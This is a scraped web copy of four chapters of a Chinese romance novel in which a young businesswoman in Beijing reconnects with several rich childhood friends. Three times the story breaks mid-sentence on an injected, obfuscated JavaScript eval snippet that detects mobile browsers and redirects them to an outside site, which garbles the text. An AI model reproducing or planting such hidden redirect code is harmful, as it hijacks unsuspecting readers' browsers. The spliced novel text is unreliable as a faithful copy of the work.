《四个霸总排队和我领证》 1. 001 【陈二狗,哪天方便,出来咱把婚离了。】 周墨单手飞速打字,给发小陈向远发了一条微信。 就是这一垂眼的功夫,侧前方一辆车突然变道直插,她来不及刹车,一头顶上对方后屁股。 看到车尾标那两个重合在一起的字母R,周墨眼皮一跳。 她探身,扫了眼对方后车轮。 这时手机铃声响了,是助理小张。 周墨熄了火开双闪,不慌不忙接通。 最近工作室对接了个大客户,小张说合同细节谈的差不多了,和周墨敲定签协议的时间。 “姐,你在开车啊?” 因为追尾事故,周墨和前车占道,四周一片暴躁的鸣笛。 “嗯,刚刚撞了一辆库里南。” “啊……啊?”小张直接给吓傻了,“那车巨贵吧!!” 周墨看到前车驾驶室下来一个男人,应该是准备来交涉。 “不说了,你正常约签字时间,我这周时间都OK。” 电话挂断,周墨余光扫到对方车牌,有些意外。 巧了,这车牌尾号1104。 是她生日。 库里南的车主并没有直接来找周墨,下车后甚至连往后看一眼都没,直接斜倚在车边,低头点燃一支烟。 薄烟轻浅,掠过流线好看的侧脸。 碎盖刘海及眉,眼睫随着点烟的动作低垂。 男人穿着驼色运动鞋,米色休闲卫裤和白衬衫,样式简单版型考究,周身看不到一个logo。 满满老钱风。 要是放在平常,面对如此养眼的男人,周墨绝对要欣赏一会儿。可此时,对方变成了潜在谈判对象,味道就变了。 她打开车门下了车,有意在库里南的后车轮附近走了一下位,才晃到男人面前,露出一个礼貌的微笑。 ”未完全变道追尾,先生,您全责。” 一声轻笑,男人的眼抬起。 深邃目光落她身上,像是能把人剥光。 周墨礼貌的笑容凝固。 这么多年,一直都没变,这双眼睛好像总是能将一切看透。 “来北京,怎么也不找我。” 林跃琮神色熟稔自然,好像两人之间并没有六年的时间隔阂,而是一直保持联系的老朋友。 “啊……这么巧。” 六年前的那次见面,并不是很愉快,周墨本以为她和姓林的这辈子会老死不相往来,哪里还会想着来北京找他。 “我打交警电话吧,你联系一下你的保险公司。” 周墨低头,抓紧时间办正事儿,拨通交警电话时,还不忘了再强调:“你全责。” 林跃琮好整以暇在旁看着周墨,看她生机勃勃和警察叔叔描绘肇事状况,看她东张西望报出马路定位,看她涂着口红的唇一张一合,报出两人车牌号…… 他眼神渐沉,锁定那两瓣嘴唇,温润的气质不知不觉改变,滑入隐秘的暗影。 周墨打完了电话。 林跃琮恢复了唇角的微笑,他吸烟很克制,只浅尝两口,便单手将烟头掐灭,烟蒂团入掌中。 “有空么,一起吃个饭。”他发出邀请,像猎人张开了他的网。 可周墨却对成为猎物没有兴趣。 “行啊,再约。” 交警很快就来定责了。 和周墨预判的一样,未完全变道追尾,前车全责。 人民的交警例行公事对林跃琮展开了批评再教育,并没有因为库里南而区别对待。 “别任性变道,要注意前后车况。” 林跃琮笑笑,“我故意的。” 不只是周墨,连交警小哥哥都愣了。 这什么意思,公然挑衅国家公权力? “女朋友生气,不这样,拦不到人。” “喂喂,别胡说八道啊我跟你说!”周墨伸手指林跃琮。 林跃琮顺势抓住她手,对交警说:“不信您看,我车牌号还是她生日。” 交警低头查看周墨证件,还真是库里南的车牌号。 有钱人现在都这么玩的么。 交警无奈,将两人一起批评教育了一顿。 这回林跃琮倒是认错态度良好。 周墨无辜躺枪,交警走了才想起来甩开林跃琮的手。 “不是,林跃琮你有病啊!” 林跃琮收起了人淡如菊的笑。 “终于想起我名字了?我还以为你忘了。” 有病。 果然狗改不了吃屎,人改不了犯病。 从小学开始就不正常的人,岁数大了也不能指望他自愈。 周墨转身走向自己的凯越。 她新提没多久的车,盘正条顺的,为了搞到京牌,不惜和陈向远那狗东西假结婚,这才新鲜没几天,就被神经病给毁容了。 真是出门没翻老黄历。 “周墨。”林跃琮自身后叫住她。 周墨回头,“干嘛?” 林跃琮勾了勾唇,“开公司了,遇到麻烦来找我。” 坐进驾驶室系安全带时,周墨咂摸了一下林跃琮这句话,越琢磨越觉得像是诅咒她。 还有,他怎么知道自己开公司? ……总不会暗中调查她吧? 亲密接触的两辆车,随着周墨缓缓向后倒车而分离。 就像原本不该有交集的两条平行线,终于调整到属于自己的轨迹。 林跃琮没有上车,见周墨在拥挤的车流中努力而小心地绕开库里南,便上前替她指引了几句。 “林跃琮。” 经过林跃琮身边时,周墨降下车窗。 她手指快速敲击方向盘,目光带有审视。 林跃琮静静看着,因视线高于周墨而带来压迫感。 但周墨知道,林跃琮的上位者气质从不会取决于站位的高低。当年锦上花园里居住的孩子们都明白,林家,那是与他们分处于两个世界的存在。 “哎,真是怕了你了。去哪儿吃饭啊?我现在刚好有空,你行吗?” 周墨害怕这顿饭吃不成,林跃琮会在别的地方继续发癫。 毕竟,这可是在十五岁时就会说要跟她开房的疯子。 “周墨。”林跃琮扶住她车窗,微微俯下身来,“你都是这样跟男人说话的么?” 周墨皱眉,“我怎么了我?” 林跃琮却只是回答她刚才的问题:“我跟别人不行,跟你行,多久都行。” 周墨秒懂,面无表情按下升窗键。 “哦,那你还是去看看医生,实在不行喝点中药。” 林跃琮笑起来。 “少吃点奶黄包吧你!”周墨翻白眼。 林跃琮笑得好大声。 灰姑娘和王子的故事大多数人都读过,可是王子为灰姑娘穿上水晶鞋后,顺便摸了一下大腿的情节,却甚少有人知道。 周墨有幸听闻,讲述者不是别人,正是光风霁月的林大公子。 哦对了,那一年,他们都只有十岁。 她玲珑剔透的少女心猝不及防被埋葬。 而掘墓人,正是林跃琮。 …… 林跃琮找的吃饭的地方,在东城一个胡同里,离什刹海不远。 北京的胡同,车通行都很费劲儿,更不用说在附近找停车位了。 周墨一路走得提心吊胆,生怕把自己的爱车刮花。 她又不是林跃琮,她就这一辆车,宝贝的跟什么似的。 “我说,非得在这里吃么?”周墨把脑袋伸出车外,冲外面的林跃琮喊。 “北京最好吃的东西,都在胡同里。”林跃琮下了车。 周墨轻嗤一声,“你这话听着耳熟,像宋思明对海藻说的。” 林跃琮目光戏谑扫过来,“这两人的结局我不喜欢,他们的关系倒是可以借鉴。” 借鉴你大爷。 周墨扭开头,不想再跟这人说话。 林跃琮敲开了一家机关单位的大门,进里面和门口的保卫人员交涉片刻,再出来时,大门开了。 两人依次将车停了进去。 不愧是林大公子啊。 周墨在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093674|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中感叹,忽然觉得这顿饭吃得有必要了。 林跃琮说的没错,以后公司遇到麻烦,就找他。 于是这顿饭周墨甩开膀子打起了十二万分精神,拿出陪客户陪领导的敬业态度。 推杯换盏,转桌夹菜。 林跃琮的脸色却越来越难看。 他隐忍不发,任凭周墨想出各种理由敬酒。 他来者不拒,一瓶加拿大冰酒很快见了底。 他记得她喜欢喝甜的,这才特意托人空运过来。 “这酒没劲,再来一瓶别的吧。”林跃琮淡淡地说。 “行啊,咱发小见面,今天我陪你喝个高兴。” 林跃琮挑眉,让服务员开了三瓶茅台。 周墨看愣了,“干嘛呀这是,喝一瓶倒一瓶,剩一瓶洗脸用?” “咱俩酒量都不错,一瓶哪够。”林跃琮说着站起来,闲庭信步亲自过来给周墨倒酒。 要说周墨这些年做生意,也算是见识过一些酒桌文化,但是和从小浸淫其道的林跃琮相比,那就是青蛇见了白蛇。 都是妖精,道行却差得远。 周墨被林跃琮以各种理由劝酒,很快就晕乎乎。 “哎,我不行了,就咱们两个,都是自己人,没必要喝成这样。” 私房菜馆,来的都是内订客人,灯光布置得昏暗私密。 林跃琮于暗影中,眸色极深。 “自己人么?”他轻笑,眼里却没什么笑意。“可我怎么没觉着,你对我像对自己人啊。” 周墨放在桌上的手机震动了两下。 装了一天死的陈向远终于回了信息,是个语音条。 微信最近出了长按语音条可转文字的功能,周墨操作失误,误将语音条点了播放。 陈向远混不吝的声音就这样播了出来。 “那什么,小墨墨啊,我最近不在国内,等我回来再联系你去办离婚哈,反正咱都没着没落没对象呢,也不着急。” 周墨想骂人,只要一提去办离婚,陈向远这狗就总有一屁股破事,不是出国就是出差。 她准备回消息骂人,酒喝的太多,看东西有些重影,头垂得低低的,脸恨不能贴在手机屏幕上。 所以她没注意林跃琮什么时候过来。 直到手腕被抓住。 周墨反应慢半拍地抬起头,眼神有些茫然。 灼热的,带着酒意的气息靠近,迫得周墨向后靠在皮质的扶手椅里。 毫无防备之下,她被圈禁在他与座椅之间。 林跃琮却没看她的眼,只是盯住她的唇。 危险,又压抑。 “来北京了,既然要假结婚,为什么跟别人,不跟我?” 酒劲上来,周墨隐隐头疼。 她需要空气。 更多的,新鲜的,自由的空气。 “跟你?”她笑,“跟你假结婚,我怕被丢进海里喂鱼啊,大哥。” 她推他,没推动。 周墨收了笑容。 “知道我为什么没有问林伯伯好么?” 林跃琮终于将视线上移,与她对视。 “因为我前两天在新闻联播上看到他了,精神很好。” 她在提醒,而他明白。 这一次,周墨推开了林跃琮。 她站起来理了理弄乱的头发,居然胆大包天拍了两下林跃琮的脸。 “你啊,有你自己的路要走,我就不给你添麻烦了。” 周墨提前约的代驾到了。 她冲林跃琮挥挥手,走得毫不留恋。 林跃琮望着女孩走出包间的背影,颓然坐下。 他其实很感激周墨今天能同意和他吃这顿饭,不然他不知道自己还会用上什么卑劣的手段来达成目标。 可是,这顿饭吃了又能怎样呢? 他想给的,她不要。 他给不了的……估计她也不怎么稀罕。 她不要他。 他就像雨季里被沤烂的柴,暗火在肺腑里闷烧。 在渴望一场烈火烹油的,自毁式的重生。 2. 002 周墨本来想给陈向远打语音过去,骂他一顿,可惜上了车就睡着了,根本没来得及。 代驾小哥将车子开到目的地,回头发现雇主已经睡熟。 “小姐?小姐?” 万幸雇主的手机这时响了起来,代驾小哥帮着接通。 手机那边是个男人的声音。 “你谁?” 只是短短两字,让人后背一凉。 小哥赶紧解释。 “知道了,我现在下来接人,麻烦你等等。” 男人的声音虽然还是清冷的,却没有了刚才的敌意。 这小区是新开发的楼盘,十二层的电梯房,环境很好,就是容积率有点高,楼与楼之间距离近。 毕竟是北京,能在这里拥有一套属于自己的房,已经是无数北漂的终极梦想了。 单元门内很快出来一个男人,身形高挑,穿着淡灰色的居家卫衣裤和拖鞋。 代驾小哥愣了一下,从没在现实中见过这样英俊的男人,如果不是小区档次太普通,都要以为是偶遇哪位明星了。 “您是尾号9665的家属?” 男人应了一声,打开后车门将人抱了出来。 小哥本来想上前帮忙,却被男人眼尾凉凉一扫,怵得退后。 “麻烦帮忙将车子停一下,车位在那边。” 代驾停好车回来,被男人公主抱的雇主醒了。 “哥?你怎么来了……”女孩的声音带着点鼻音,很有安全感地搂住男人的脖子,头靠在他肩上。 小哥这才彻底放心,交还了钥匙,骑共享单车走的时候还在想:这对兄妹,长得一点都不像。 徐子衿抱着周墨打开房门,却没有立刻将她放下。 客厅的灯开着,他刚刚出门时没有关。 可他宁愿此时屋子里漆黑一片,这样才不会让那亮得几乎刺眼的灯光,将妄念照得无处遁形。 “小墨?”徐子衿微侧过头,轻唤了一声。 周墨靠在他肩上,细软的碎发擦着他颈侧,随着呼吸,带来若接若离的痒意。 他的手托住她的膝窝和后背,能清晰感受到胸衣搭扣的浅浅凸起,隔着布料,传递柔软温腻的触感。 徐子衿在玄关安静地站了片刻,才走到沙发边,将周墨轻轻放下。 她的胳膊还勾着他的脖子。 他想去抓她手腕的手停在半空,最后什么也没做,任凭自己被她勾得俯下身。 唇擦过她脸颊,停留在白皙小巧的耳垂。 呼吸越来越热,越来越重。 交错的心跳声近乎轰鸣。 他嗅闻着她发间的香,竟然有了反应。 这是妹妹。 徐子衿提醒自己。 这是妹妹。 周氏夫妇待他如亲子,他怎能干禽兽不如的事? 这是妹妹!是妹妹! 可是……这是妹妹吗? 徐子衿闭了闭眼,猛地惊醒般,从沙发旁退开。 他从充满她气息的世界里逃离,去了浴室,穿着衣服打开淋浴喷头。 冷水兜头而下,却难以让他纾解。 新装修的浴室是法式奶油风,到处都是女孩子生活的痕迹。 墙上挂着粉色吹风机,马桶边的架子堆着卫生巾,洗手台摆着瓶瓶罐罐的护肤品和化妆品。 抽拉挂绳上,晾着两条洗好的蕾丝内裤。 一条灰色,一条玫瑰红。 徐子衿本有意回避,不去看属于妹妹的私密。 可那东西刺眼,像成了精,勾着他的魂。 最后视线不可控地重新落回。 他盯着那两条内裤,死死盯着。 他幻想周墨穿上它们的样子。 只穿它们的样子。 面无表情将湿透的衣服脱下。 水流不断冲刷着他的脸,滑过簿肌的胸膛和人鱼线。 他的表情痛苦而隐忍,直到最后难以自抑地单手扶住淋浴间的玻璃门,手臂崩出紧致的线条,微垂的睫滴落水珠,遮掩漆黑色的眸。 这一刻,男人看起来脆弱而诱惑。 这是他们兄妹相称的第十年。 是清清楚楚,写在户口本上的法律关系。 是束缚他的锁,也是连接她的钩。 是妹妹…… 真他妈见鬼的妹妹。 …… 周墨第二天醒来,发现自己躺在家里的床上,身上穿的还是昨天的衣服。她恍惚记起昨晚好像看见了徐子衿的脸。 “哥?” 推开门,闻到了煎鸡蛋的香味。 徐子衿将早餐端到餐桌,身上套着周墨买回来的围裙——粉红色格子,胸前有只白色的卡通小狗。 本该是不合适的,可男人衣服架子,穿起来竟然也很好看,看着就像居家好男人。 “醒了?昨晚怎么喝那么多?”徐子衿神色冷冷的。 周墨就没指望他能给自己好脸色,随便敷衍:“陪客户嘛,哎,你别跟爸妈说啊。” 洗漱完坐在餐桌边,周墨拿起筷子,准备狼吞虎咽。 徐子衿拖走她餐盘,下巴扬了扬,“先把汤喝了。” “嗯?什么汤?” “醒酒汤。”徐子衿没好气道,“酒鬼。” 周墨摆出一副人在江湖身不由己的无奈表情,“哎,女人嘛,在外面总归要应酬,你懂的。” “我懂个屁,昨天要不是我刚好回来,你说不定就被人捡尸了。” 徐子衿见周墨一副油盐不进的样子,沉默片刻,道:“以后让小赵跟着你,工资还从我这边发。” 小赵是徐子衿的司机。 周墨挑眉,“怎么,你这才拿到B轮投资,就准备乱花投资人的钱了。” 周墨毕业三年,摸爬滚打,才勉勉强强搞起来一个小破媒体公司。 徐子衿就不一样了,他从小就是学霸,一路跳级,周墨大学毕业那年,徐子衿已经带着常春藤名校的计算机硕士学历,回国拿到了A轮投资。 其他人创业都是跪舔投资人,到徐子衿这里是反过来,投资人舔他。周墨从别人的嘴里听到过,说这次他的威肯科技B轮,几家资本为了能争取到独投的机会,差点打破头。 徐子衿态度坚决,坚持要给周墨派司机。 周墨态度比他更坚决,“不要,我才不想身边有个钉子,整天被你监视。” 徐子衿呵呵冷笑两声,拿起手机。 周墨眼疾手快按住他,“你干嘛,又要给爸妈打小报告?!” 徐子衿一根一根掰开周墨的手指头,“你是咱家的宝贝疙瘩,万一有点三长两短,我可担待不起。” “你就不能盼我点好么……” 周墨最后想了个折中的主意,“这样吧,以后我在外喝酒应酬,给你打电话,然后直接打车回你那里。” 徐子衿不说话了,把玩着手机,面无表情看着她,似乎在评估这一提案的可行性。 “行吧,哥~~~” 周墨带着点讨好地摇他胳膊。 徐子衿不为所动。 这狗男人。 周墨一边骂一边起身绕到他身后,又是捏肩又是捶背。 徐子衿唇角微勾,在周墨看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093675|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到的角度。 “你不是有个助理么,以后再有这样的场合,让他跟着你。” “好好好,知道了。” 这就算翻篇了! 周墨并没有告诉徐子衿昨晚是去见了林跃琮。想当年他们两个就彼此看不顺眼,她觉得还是多一事不如少一事。 “对了,你想要弄京牌的事,我已经帮你办妥了……” 周墨忽然心虚地打断:“啊不用了!京牌我已经弄到了。” 徐子衿一愣,“弄到了?怎么弄到的?” “就那么弄的呗,找的中介,反正都已经办好了,你就不用操心了。”周墨埋头吃饭,想办法转移话题,“对了哥,我这房子怎么样,不错吧?” 虽然早就给了钥匙,但昨晚还是徐子衿第一次来周墨这里。 她也才搬来不到一个月而已。 徐子衿将周墨的异常看在眼里,却没再继续追问。 “我那房子不够大么,非得自己买房子住。” “哎,这是内部价,五折诶!不买太亏了!你知道这楼盘的开发商是谁么?”她故作神秘。 “谁?” “岳朗!意外吧?” 徐子衿回忆片刻,“陈向朗?” “对啊,他家出事后,他不就改名了么。”周墨将最后一块煎蛋塞进嘴里。 拜母亲朱美丽大人所赐,周墨向来不浪费粮食。不仅是她,小区里被她喂大的孩子,都秉承了这一优良传统。 “你什么时候和他联系上了?” “就在我大学毕业那年,来北京后就联系上了。不过我上大学期间,我们也偶尔聊□□,他这些年的经历很传奇,等你有空了再给你讲。” “我现在就有空。”徐子衿说。 周墨却一抹嘴,站了起来。 “你有空我没空,走了。” 她早上刚看到小张发来的消息,今天上午要去和客户签合同。 干了三年,这是第一次和大品牌合作,周墨非常重视。 洗过澡,为了显得更加老练成熟,她用卷发棒把自己的头发烫成了大波浪,精神抖擞换上套裙和高跟鞋,又选了一副Dior的耳环,将自己唯一的爱马仕包祭出来压场子。 她花蝴蝶一样在客厅里穿来穿去,徐子衿的目光便一直追随。 周墨做了美甲,项链搭扣总是扣不上,过来让徐子衿帮忙。 “哥,你今天很闲啊?男人不能闲的哦,会失去魅力。” 徐子衿拨开她柔软乌黑的卷发,盯着那段露出的白皙后颈,淡淡应了声。 “今天推了行程,看看你这里还缺什么,帮你补上。” 项链的搭扣轻轻扣上,动作间难免发生触碰。 周墨却毫无所觉,一甩头发扭过脸来,冲徐子衿露出灿烂的笑容:“好感动啊,哥哥。” 徐子衿似笑非笑,“我记得刚刚还听见某人嫌弃我很闲来着。” “霸道总裁嘛,就是要有钱有闲啊。” 周墨像只快乐的小鸟,披上自己的战甲出去觅食。 “拜拜,祝我今天发大财!” 她站在门口冲徐子衿飞了个吻。 徐子衿刻意板着的脸终于全面崩塌,笑着骂了句:“小财迷。” 等周墨走了以后,徐子衿像个勤勤恳恳的老父亲,将她的狗窝从里到外打扫了一遍,连她昨天换下来的衣服都洗了,包括内衣裤。 将一切都忙完,又列出需要买的东西交给秘书,徐子衿才坐下来,拨通了一个电话。 “喂,老赵。我记得你在交警大队有些关系,帮我查一个车牌号……” 3. 003 希拓是近年来异军突起的服装潮牌,在年轻人中很流行,这次能找上周墨的公司做线上推广,还要归功于她手里最近有两个微信公众号全网爆火。 至少,在今天之前,周墨都是这么认为的。 签约地点是希拓那边定的,在国贸附近一家西餐厅。 周墨和小张比预定时间提前了半个小时到,选了靠窗的位置,刚好能看到中央广播电视总台总部大楼——也就是著名的“大裤衩”。 距离约定时间还有十分钟,希拓的签约负责人来了,是它们的市场部总监Marry。 让周墨感到意外的是,和希拓团队一起出现的,还有个人。 Marry对这人十分客气,一路从餐厅大门走进来,都是让着他的。 “岳朗?”周墨看向来人,心思转得飞快,目光在他和Marry之间扫了两圈,大概有了猜测。 她就说嘛,希拓如今炙手可热,怎么就单单挑中了她这么个名不见经传的小公司合作。 岳朗留着寸头,皮肤略黑,豆灰色的休闲西装内是白色的T恤衫。 他是典型的丹凤眼,眉骨处有一道浅浅的大概两公分长的疤,给硬朗英俊的脸上添了些匪气。 他见到周墨便笑出一口白牙,“没想到吧。” 周墨和岳朗时常在线上联系,但若真的说见面,也隔了几年了。 Marry笑着解释:“希拓最近也在和岳总谈合作,正是因为岳总的介绍,我们才找到周总这么优秀的合作方。” “原来如此!Marry总监,非常感谢您和希拓的信任,能合作是我们的荣幸。”周墨又看向岳朗,佯装嗔怒:“你这家伙,口风可真紧,一点风声都没透给我!” Marry也跟着打趣:“可不是么,岳总也反复强调,拜托我们保密呢。” 岳朗很绅士地帮女士们拉开椅子,毫不谦虚地自夸:“我的眼光一向好,都是顶顶的甲方乙方,你们两家合作呀,准没错!” 一行人坐下,点了咖啡和轻食,合同签订得愉快又顺利。 周墨也在三方的谈话中,弄清楚希拓和岳朗的关系。 岳朗的公司在南三环参投开发了一个综合体,今年年底开业,声势很大。希拓想要进驻那边的商场,可是从品牌影响力看,这个新生潮牌还差了点意思,可能挤不进去,这才走到了岳朗的关系。 很明显,岳朗给了Marry这个人情,却要她拿和周墨的订单来还。 “Marry总监忙吧,不用管我们,进驻的事回头我让招商部的人和你对接。”岳朗打发人走的意思很明显。 搞市场的人都是人精,Marry立刻笑道:“正巧我们后面还有个会,不然怎么也得好好招待一下两位,那咱们有机会再约。” 周墨也让小张先回公司。 等人都走了,岳朗一改地产大佬的从容,有些紧张地看着周墨。 “哎,你不会怪我吧?” 周墨用小银勺搅拌着杯中咖啡,静静看着他不说话。 岳朗被她给看毛了,“喂,不是吧,你真的生气了?” 周墨噗嗤笑出来。 她憋得好痛苦。 “你什么时候见我跟你客气过?”她放下勺子,身体微微前倾,声音放低了些,漂亮的狐狸眼异常明亮。 “我知道你在想什么。你是不是觉得,没提前问我就自作主张,怕伤了我那点‘清高’?还是怕我觉得你在‘可怜’我这个小公司?” 岳朗喉结滚动了一下,没否认,眼睛却直直盯着周墨那双眼。 怎么会有这样好看的眼睛,灵动,鲜活,似泛着动人心魂的水波。 周墨轻笑,“哎,你傻不傻?我们一起光屁股长大的交情,你帮我,我心安理得。这就跟你当年替我出头揍隔壁班那个小混混一样,我会怪你‘多管闲事’吗?” 她端起咖啡杯轻抿一口,因刚签了大单而显得有些眉飞色舞。 岳朗的目光始终追随着她,她的每一个动作,每一丝表情,都能引动他眼中的波澜。 “而且,岳朗,我比任何人都清楚,你不是会随便‘施舍’的人。你给我这个单子,是因为你真心觉得我的团队有这个能力做好,值得这个机会,对吧?这份信任,于我而言,比什么都重要。” 岳朗的耳朵尖有点泛红,有一瞬,竟忘了呼吸,几乎可以听见自己轰隆的心跳。他胡乱撸了把自己的寸头,似乎也觉得有点好笑。 “嗐,什么都不说了,都在咖啡里!” 他端起咖啡杯,像端起生意场上的酒杯。所不同的是,生意场上的酒杯是应酬,而此刻的咖啡杯,是经年的心意。 两人咖啡杯相碰,岳朗一饮而尽,做了个鬼脸。 “哎,我是真的喝不惯这玩意儿。” “不爱喝咱就走。”周墨说着就要起身,“你今天有空没?请你吃火锅喝啤酒去。” “先不急。” 岳朗按住她,招招手,叫来服务生。 周墨这才注意到,他带了东西过来。 不知道是什么,装在印有航空公司logo的白色纸袋里。 “把这个拿去后厨,帮我加热一下端上来。”岳朗对服务生说。 服务生很为难:“抱歉先生,我们这里不能加工顾客自带的食物。” 岳朗知道和他说没用,示意服务生把经理找来。 周墨好奇:“什么东西呀?” 岳朗神神秘秘:“特意给你带的,我今天刚下飞机。” 周墨开玩笑:“总不会给我带了飞机餐吧。” 这时经理走过来了,岳朗提溜着那个白色纸袋,起身揽过经理的肩膀。 两人走到稍远的地方,背对着周墨嘀咕了半天。 岳朗身材高挑挺拔,长腿长手,臂展极宽,那个身高目测有一米八的饭店经理,被他揽在臂弯里像个楚楚可怜的小鸡崽。 很快岳朗就回来了,手中的纸袋已经被经理带走。 周墨惊讶,“他们同意帮你加热了?” 岳朗点头,随手拿起面前的咖啡喝,苦得皱起眉。 周墨好奇:“怎么做到的?” 据她了解,以这家店的尿性,是绝对不会破例给顾客加工外带食材的。 “真想知道?”岳朗故意逗她,像个坏小子。 周墨好好学生地点头,虚心求教。 岳朗的经商天赋,甚至要在徐子衿之上,毕竟徐子衿是靠技术发家,而岳朗那是实打实在社会底层摸爬滚打起来的,周墨很好奇他的谈判技巧。 “其实也简单,只要让他们意识到,拒绝我比答应我的风险更高,代价更大就好了。” “比如呢?” “比如我跟那个经理说,他们要是不同意,我立刻就地抽搐打滚,就说是吃了他们的食物中毒了。” 周墨嘴巴微张,一脸震惊。 岳朗趴在桌上,单手撑着头笑,痞痞的。 “刚刚那个经理也是你这种表情。” 周墨合上嘴巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093676|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“可是,如果事情闹大了,做食物检测证明人家没问题,你该怎么办?” “有没有问题重要么?反正怕事情闹大的是他们,又不是我。” “你这还真是……”周墨努力措辞。 “无赖。”岳朗帮她补充。 周墨默认般地眨眨眼。 岳朗唇畔笑意敛了几分,眼睫微垂,不知想到什么,似是自言自语:“可是有些时候你得承认,无赖的手段,就是有效。” 都说英雄不问出处,可他的出处并不光彩。 在大多数同龄人还会因为随地丢垃圾、过马路闯红灯而被道德审判时,他早已经为了活下去,沾染上不干净的底色。 对地狱里爬出来的人来说,这些不过是小巫见大巫。 周墨并没注意到岳朗眼底的幽色,也没觉得岳朗此举有什么不耻的,恰恰相反,她颇有同感。 “你还别说,其实有的时候耍无赖挺不错的。” 尤其是面对那些可恶的甲方。 “如果一个人不懂打破规则,破而后立,是不适合做生意的。身上带点匪气,没什么不好。” 岳朗又笑出了一口白牙,“这话我爱听,多说点。” 周墨心中颇为感慨。 岳朗比她小两岁,她觉得她自己创业就够早的了,自认已经不是初出茅庐的小屁孩,可是和岳朗的复杂的人生履历相比,她还只是个菜鸡。 “你现在还赌石么?”周墨问。 岳朗的第一桶金是在缅甸靠赌石发家的,那时候他才多大?十六岁?还是十七岁?反正没成年。 而十七岁的她,还在为数学高考模拟卷的最后一道大题痛苦。 “偶尔有做玉石生意的朋友会让我帮忙掌掌眼,我自己不玩了,太忙,没时间。” 周墨点头,“现在地产行业发展得好,你的选择没错。” 当初岳朗带着一笔巨款回来,不声不响混在工地里,从拌水泥的学徒工做到包工头,最后直接自己干开发,堪称传奇。 周墨不会写小说,不然铁定要给他写本传记。 “可惜已经算入行晚了,吃不到肉,只能喝汤。”岳朗不无叹息。 周墨不客气地怼他,“那您这汤未免太浓了些,都噎嗓子。” 岳朗嬉皮笑脸,“那你跟我一起呗,也喝噎嗓子的汤。” 两人有一句没一句地胡侃,这时服务生端了一个餐盘过来。 “先生,这是您要求加热的食材。” 周墨好奇很久了,不知道岳朗到底给她带了什么吃的。 直到此时,看到盘中胖乎乎圆墩墩,泛着热气混着焦香的—— “生煎?”周墨惊讶。 “你不是总说馋小杨生煎么,刚好今天我从上海回来,这是黄河路那家的,我记得你说过大学时最喜欢这家分店。” 周墨用叉子插起来一个咬下去。 鲜香的汁水入口,是她最爱的鲜肉馅。 虽然和刚出锅时相比差了点,也非常好吃了,比网上买来速冻的那种好太多。 “岳朗同志,侬可真是个好同志啊。”周墨幸福得眯起眼,又叉起来一个吃,这次是蟹粉陷。 鲜肉,蟹粉,她最喜欢的两种口味,也只吃这两种口味。 岳朗见周墨吃得开心,索性整个人趴在桌上,头歪枕在手臂上,眼睛满是笑意。 他看着她,就像学生时代趴在课桌上的男生,偷偷望着前排暗恋的女孩。 眼神又干净,又纯情。 4. 004 听说岳朗一直没怎么正经逛过北京城,周墨下午没什么事,便想尽一下地主之谊。 她问他有没有想去的地方。 岳朗却反问:“你有没有什么想去的地方?” “我吗?”周墨幽幽叹了口气,“你知道的,我从小就宅,要不是生活所迫,只想在家里舒舒服服吹空调看电影打游戏。” 岳朗低笑出声。 周墨瞪他:“笑什么?” “没什么,就是想到初中那会儿,我们约你周末出来玩,你直接挂我们电话,说你要好好学习。那时候陈向远怎么说你来着?周墨是没有周末的。” 想到当年的中二,周墨也忍不住笑。 不过—— 她搅了搅杯中已经凉透的卡布奇诺,“这么多年了,这还是我第一次听你主动提起陈向远。” 岳朗满不在乎一笑,颇有些时过境迁往事随烟去的洒脱。 陈家的事挺狗血,别说那个年代,就是现在听起来都很八点档。 从那之后岳朗就一直和陈向远这个曾经的兄弟较上了劲,如今他能放下,周墨也替他高兴。 “行了,这些狗屁倒灶的事儿不提了,咱走吧。”岳朗起身帮周墨拿包,抓住她手腕就要走。 “去哪儿啊?”周墨措手不及,抓紧时间抽了张面巾纸擦嘴。 “不是想宅在家里么,我带你去个地方。” 两人来到地下停车场,岳朗领着周墨就要上一辆路虎。 “我的车怎么办?”周墨回头看不远处自己的爱车。 “那就开你的车。” 岳朗锁了路虎,掉头往那边走,示意周墨给他车钥匙。 “那你的车怎么办?”周墨将自己的车钥匙递过去。 “不管它。” “要死了,知道这里停车费多贵么!” “没关系。”岳朗先是打开副驾,特别绅士地护着周墨的头让她上车坐好,自己再绕过车头,坐进驾驶位。 周墨看他启动引擎,单手一把打方向盘出库,行云流水将车子开出地下停车场,打趣道:“喂,你不会还做过泊车小弟吧?业务这么熟练?” 以岳朗的履历丰富程度,还真不好说。 “你猜?” “切,没兴趣。” 